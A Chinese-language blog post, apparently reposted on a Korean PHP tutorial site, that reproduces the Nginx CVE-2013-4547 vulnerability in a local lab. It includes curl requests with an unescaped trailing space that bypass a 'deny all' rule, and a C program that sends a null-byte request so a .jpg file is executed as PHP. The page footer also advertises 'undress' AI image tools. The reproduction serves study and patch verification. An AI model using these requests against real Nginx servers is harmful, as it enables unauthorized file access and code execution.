목차
403 Forbidden
백엔드 개발 PHP 튜토리얼 Nginx漏洞CVE-2013-4547复现

Nginx漏洞CVE-2013-4547复现

Jun 23, 2016 pm 01:12 PM

每一个漏洞的面世都是软件开发者的无意和黑客/白客的有意的共同结晶,它们之中大多数的诞生都是在某位或某几位程序猿经历千辛万苦,体验重重空虚寂寞冷之后的产物,以至于每一个漏洞都是如此的身价不菲。能与这些高富帅们勾搭上是我一直以来的梦想,可惜当前能力和时间有限,只能拔一拔它们的裤腿,瞅准了一把抱住,再深情的来一句:土豪,我们做朋友吧。

今天出场的这位高富帅是CVE-2013-4547,属于Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本中存在的安全漏洞,可以看到其影响面非常大,不愧为土豪大佬的身份。具体来说是Nginx程序验证包含未转义空格字符的请求URIs时存在逻辑错误,远程攻击者可以利用该漏洞绕过既定的配置限制,导致信息泄露、系统文件被修改、性能下降或中断资源访问。

漏洞危害利用是黑客针对软件的瑕疵,构造异常的运行环境,让软件的瑕疵暴露出来,从而获取非法利益。我个人认为漏洞危害利用有三个要素:

1,软件存在漏洞(瑕疵):所有软件都会有漏洞,如果没有漏洞,那说明还没发现,如果还足够称得上是软件的话。

2,构造漏洞暴露的条件:这个条件的构造应该是非常苛刻的,非常难的,如果很容易,那可能需要考虑一下,这个是否是后门,而不是漏洞。或者,好吧,也许真有这种情况,毕竟现在在培训学校里学习三天就开始写软件的人也有大把。

3,不当得利:我有八字真言:“玩玩而已,何必当真。”,一般人我不告诉他,得此精髓的人都被关在小黑屋里捡肥皂去了。

不说废话,下面看看如何借助CVE-2013-4547来干些坏事。纯理论学习啊,后果自负啊!说说可以啊,不要动手啊!

第一部分:信息泄漏,即通过该漏洞访问保护的文件。1,首先得找个有该漏洞的Nginx WebServer,我这里在CentOS 6.2环境下随便安装一个吧,

[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz[root@localhost gqk]# cd nginx-1.4.0[root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module[root@localhost nginx-1.4.0]# make & make install
로그인 후 복사

configure的选项没什么特别的,加上debug只是方便调试,去除rewrite_module是因为我现在的环境没有pcre库,因为不影响这个漏洞,所以直接去掉了。

2,启动Nginx看看是否基本ok

[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

通过wget访问http://127.0.0.1

[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1

嗯,ok。

3,构造环境

根据注1的介绍,

a)我们需要修改Nginx配置文件,增加一个保护目录,该目录不让用户访问:

location /protected/ {        deny all;    }
로그인 후 복사

修改了配置,所以需要重启Nginx:/usr/local/nginx/sbin/nginx -s reload

b)需要web目录下有一个带有空格的文件夹:

[root@localhost html]# ls -F50x.html  dir1/  dir 2/  dir3 /  index.html  protected/[root@localhost html]# ls protectedsec.html
로그인 후 복사

为了对比测试,我建立了四个文件夹(注意上面第一条命令,我给ls加了-F参数,所以如果是文件夹,它会在后面带上斜杠):

dir1:没有任何空格

“dir 2″:中间有个空格

“dir3 “:末尾有个空格

protected:保护目录,同时该目录下还有个sec.html的文件

c)构造请求构造的请求uri里的空格不能被编码,而浏览器或wget都会自动把空格编码为%20,因此我改用curl。

4,对比测试a)直接请求sec.html,当然是被拒绝的,因为我们配置了保护protected目录的策略:

[root@localhost ~]# curl "http://127.0.0.1/protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>1b)构造特殊请求:1[root@localhost ~]# curl http://127.0.0.1/dir1/../protected/sec.html<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir 2/../protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir3 /../protected/sec.html"<h1>This is a secret document.<h1/>
로그인 후 복사

看到了吗?第三个构造的请求成功突破Nginx的保护策略而获取到被保护目录下的文件内容。

5,实际可应用程度

从上面的描述可以看到,要触发这个漏洞需要好几个条件:

a)Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本。这个容易有,毕竟涉及的版本有这么多。

b)需要WebServer管理员对目录的保护采用这种普通字符匹配的策略,如果是其他保护策略(比如^~或~*),则条件满足失败。因特网站点千千万万,通过搜索肯定还是有这样配置的Nginx WebServer站点。

c)需要文件名末尾带有空格的文件夹,其他形式失败。怎么做?通过WebServer里站点提供的上传服务(如果有的话),上传对应的文件夹或压缩文件(如果服务器有提供解压功能)到服务器,然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个,有点难,现在的Web应用应该都会对高危文件(上传文件)做处理,比如改名是起码的。但是,慢慢的抠吧,成功就在不远处,如你的女神一般,永远那么飘渺。。。不过,也有逆袭的,是吧。。。

第二部分:未授权执行,即让Php引擎执行非php文件。

1,根据注1的内容,上面介绍的只是CVE-2013-4547的其中一个应用,即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行,下面以php脚本为例,具体来看。

配置Nginx+Php环境,Php现在很流行。

下载php源码进行安装

[root@localhost gqk]# tar xf php-5.5.33.tar.bz2[root@localhost gqk]# cd php-5.5.33[root@localhost php-5.5.33]# ./configure --enable-fpm[root@localhost php-5.5.33]# make[root@localhost php-5.5.33]# make install
로그인 후 복사

注意configure带的选项,需要打开fpm,如果要开启其他功能,比如mysql,请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。准备配置文件:

[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini[root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf[root@localhost php-5.5.33]# php-fpm[root@localhost php-5.5.33]# netstat -natp | grep 9000
로그인 후 복사

如果可以grep到对应的php-fpm进程,说明php安装初步ok了。

需要重新编译Nginx,让它支持PCRE。

首先从http://www.pcre.org/下载pcre-8.38.tar.gz,然后三板斧./configure & make & make install安装。

如果后门Nginx出现找不到pcre库的报错,比如:

/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory

那么可能需要在PCRE的configure时指定lib目录到/usr/lib64:

./configure –prefix=/usr –libdir=/usr/lib64

其次,重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。修改Nginx配置文件,加上PHP支持:

location ~ \.php$ {    root html;    fastcgi_pass 127.0.0.1:9000;    fastcgi_index index.php;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;    include fastcgi_params;}
로그인 후 복사

最后,写个简单的test.php测试一下,

访问确保php正常解析。

2,构造环境

a)在默认配置下,Php-fpm只让php引擎执行php后缀的文件,因此第一个条件是要修改配置文件

/usr/local/etc/php-fpm.conf

把里面的limit_extensions设置为空。

; Note: set an empty value to allow all extensions.; Default Value: .phpsecurity.limit_extensions =
로그인 후 복사

b)在web目录下新增一个文件”cve.jpg “(注意这是一个末尾带有空格的文件),内容为php代码:

<?phpecho "Illegal execution.";?>
로그인 후 복사

c)我们构造一个伪造请求,请求的地址为”/cve.jpg \0.php”,注意两点:

i)其中的空格没有编码

ii)\0是一个字符,是零,是字符串的结束字符。

3,测试

伪造请求,因为我们要伪造的请求里包含有字符串的结束字符\0,因此curl命令貌似是不能用了,至少我暂时是还不知道怎么传递这个\0给curl命令,可能有办法,需要查手册。

不过因为我之前研究Nginx时,写过这样的Http请求代码来调试Nginx逻辑,所以先直接用这个可行的办法,代码如下:

/** * gcc -Wall -g -o bogus_request bogus_request.c */#include <sys/types.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <unistd.h>char req_header[] = "GET /cve.jpg \0.php HTTP/1.1\r\nUser-Agent: curl/7.19.7\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";#define MAX_DATA_LEN (1024)char res_data[MAX_DATA_LEN];int main(int argc, char *const *argv){      int sockfd;      struct sockaddr_in server_addr;      if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) {             fprintf (stderr, "Socket error,%s\r\n", strerror (errno));             return -1;      }          bzero (&server_addr, sizeof (server_addr));      server_addr.sin_family = AF_INET;      server_addr.sin_port = htons (80);          if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) {             fprintf (stderr, "Bad address:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          if (connect (sockfd, (struct sockaddr *) (&server_addr),             sizeof (struct sockaddr)) == -1) {             fprintf (stderr, "Connect Error:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          write (sockfd, req_header, sizeof(req_header) - 1);	  	  for (;;) {             read (sockfd, res_data, MAX_DATA_LEN);             printf ("res:%s", res_data);      }      close (sockfd);      return 0;}
로그인 후 복사

编译执行看结果:

[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0[root@localhost ~]# ./bogus_request res:HTTP/1.1 200 OKServer: nginx/1.4.0Date: Wed, 23 Mar 2016 10:04:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.3312Illegal execution.0
로그인 후 복사

可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg \0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行,而Php引擎在查找定位文件”cve.jpg \0.php”时又被\0截断,导致最终执行的脚本文件是”cve.jpg “。

4,实际可应用程度因为同样要构造文件名末尾带空格的文件,因此这个漏洞其实难以被真正利用。原因在前面提到过了,不再多说。不过这只是Linux下的情况,那Windows环境下又如何呢?

第三部分:Windows环境

这个漏洞在Windows环境下的利用价值就大大增强了,因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时,会自动忽略对应文件名后的空格,也就是:

read “a.txt ” -> 实际读取的是文件”a.txt”

write “b.txt ” -> 实际写的是文件”b.txt”

下面是测试代码(VC6下测试,注2):

#include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){	HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0,		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 	if (hFile ==INVALID_HANDLE_VALUE) {		printf("openfailed!");	} else {		printf("fileopened");	}	CloseHandle(hFile);	return 0;}
로그인 후 복사

注意程序里用的是”a.txt “,而我们准备一个”a.txt”文件在对应路径下,上面的代码也可以正常打开,输出”fileopened”。事实上,在Windows的文件管理里,新建文件时,在文件名后带上空格,敲回车后生成的新文件文件名是没有带空格的,即被自动过滤掉了。也许就是和上面同样的原因。

正因为在Windows下去掉了这个最困难的前置条件,所以该漏洞的可利用程度就大大提高了。

第四部分:Nginx相关漏洞代码分析暂略,不想写了,囧。

注1:http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222注2:http://drops.wooyun.org/tips/2006

转载请保留地址: http://www.lenky.info/archives/2016/04/2488或 http://lenky.info/?p=2488

备注:如无特殊说明,文章内容均出自Lenky个人的真实理解而并非存心妄自揣测来故意愚人耳目。由于个人水平有限,虽力求内容正确无误,但仍然难免出错,请勿见怪,如果可以则请留言告之,并欢迎来 信讨论。另外值得说明的是,Lenky的部分文章以及部分内容参考借鉴了网络上各位网友的热心分享,特别是一些带有完全参考的文章,其后附带的链接内容也许更直接、更丰富,而我只是做了一下归纳&转述,在此也一并表示感谢。关于本站的所有技术文章,欢迎转载,但请遵从 CC创作共享协议,而一些私人性质较强的心情随笔,建议不要转载。

法律:根据最新颁布的《信息网络传播权保护条例》,如果您认为本文章的任何内容侵犯了您的权利,请以 Email或书面等方式告知,本站将及时删除相关内容或链接。

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

11 최고의 PHP URL 쇼트너 스크립트 (무료 및 프리미엄) 11 최고의 PHP URL 쇼트너 스크립트 (무료 및 프리미엄) Mar 03, 2025 am 10:49 AM

종종 키워드와 추적 매개 변수로 혼란스러워하는 긴 URL은 방문자를 방해 할 수 있습니다. URL 단축 스크립트는 솔루션을 제공하여 소셜 미디어 및 기타 플랫폼에 이상적인 간결한 링크를 만듭니다. 이 스크립트는 개별 웹 사이트 a에 유용합니다

Laravel의 플래시 세션 데이터로 작업합니다 Laravel의 플래시 세션 데이터로 작업합니다 Mar 12, 2025 pm 05:08 PM

Laravel은 직관적 인 플래시 방법을 사용하여 임시 세션 데이터 처리를 단순화합니다. 응용 프로그램에 간단한 메시지, 경고 또는 알림을 표시하는 데 적합합니다. 데이터는 기본적으로 후속 요청에만 지속됩니다. $ 요청-

Laravel Back End : Part 2, React가있는 React 앱 구축 Laravel Back End : Part 2, React가있는 React 앱 구축 Mar 04, 2025 am 09:33 AM

이것은 Laravel 백엔드가있는 React Application을 구축하는 데있어 시리즈의 두 번째이자 마지막 부분입니다. 이 시리즈의 첫 번째 부분에서는 기본 제품 목록 응용 프로그램을 위해 Laravel을 사용하여 편안한 API를 만들었습니다. 이 튜토리얼에서는 Dev가 될 것입니다

Laravel 테스트에서 단순화 된 HTTP 응답 조롱 Laravel 테스트에서 단순화 된 HTTP 응답 조롱 Mar 12, 2025 pm 05:09 PM

Laravel은 간결한 HTTP 응답 시뮬레이션 구문을 제공하여 HTTP 상호 작용 테스트를 단순화합니다. 이 접근법은 테스트 시뮬레이션을보다 직관적으로 만들면서 코드 중복성을 크게 줄입니다. 기본 구현은 다양한 응답 유형 단축키를 제공합니다. Illuminate \ support \ Facades \ http를 사용하십시오. http :: 가짜 ([ 'google.com'=> ​​'Hello World', 'github.com'=> ​​[ 'foo'=> 'bar'], 'forge.laravel.com'=>

PHP의 컬 : REST API에서 PHP Curl Extension 사용 방법 PHP의 컬 : REST API에서 PHP Curl Extension 사용 방법 Mar 14, 2025 am 11:42 AM

PHP 클라이언트 URL (CURL) 확장자는 개발자를위한 강력한 도구이며 원격 서버 및 REST API와의 원활한 상호 작용을 가능하게합니다. PHP CURL은 존경받는 다중 프로모토콜 파일 전송 라이브러리 인 Libcurl을 활용하여 효율적인 execu를 용이하게합니다.

Codecanyon에서 12 개의 최고의 PHP 채팅 스크립트 Codecanyon에서 12 개의 최고의 PHP 채팅 스크립트 Mar 13, 2025 pm 12:08 PM

고객의 가장 긴급한 문제에 실시간 인스턴트 솔루션을 제공하고 싶습니까? 라이브 채팅을 통해 고객과 실시간 대화를 나누고 문제를 즉시 해결할 수 있습니다. 그것은 당신이 당신의 관습에 더 빠른 서비스를 제공 할 수 있도록합니다.

2025 PHP 상황 조사 발표 2025 PHP 상황 조사 발표 Mar 03, 2025 pm 04:20 PM

2025 PHP Landscape Survey는 현재 PHP 개발 동향을 조사합니다. 개발자와 비즈니스에 대한 통찰력을 제공하는 프레임 워크 사용, 배포 방법 및 과제를 탐색합니다. 이 조사는 현대 PHP Versio의 성장을 예상합니다

라 라벨에서 알림 라 라벨에서 알림 Mar 04, 2025 am 09:22 AM

이 기사에서는 Laravel 웹 프레임 워크에서 알림 시스템을 탐색 할 것입니다. Laravel의 알림 시스템을 사용하면 다른 채널을 통해 사용자에게 알림을 보낼 수 있습니다. 오늘은 알림을 보낼 수있는 방법에 대해 논의합니다

See all articles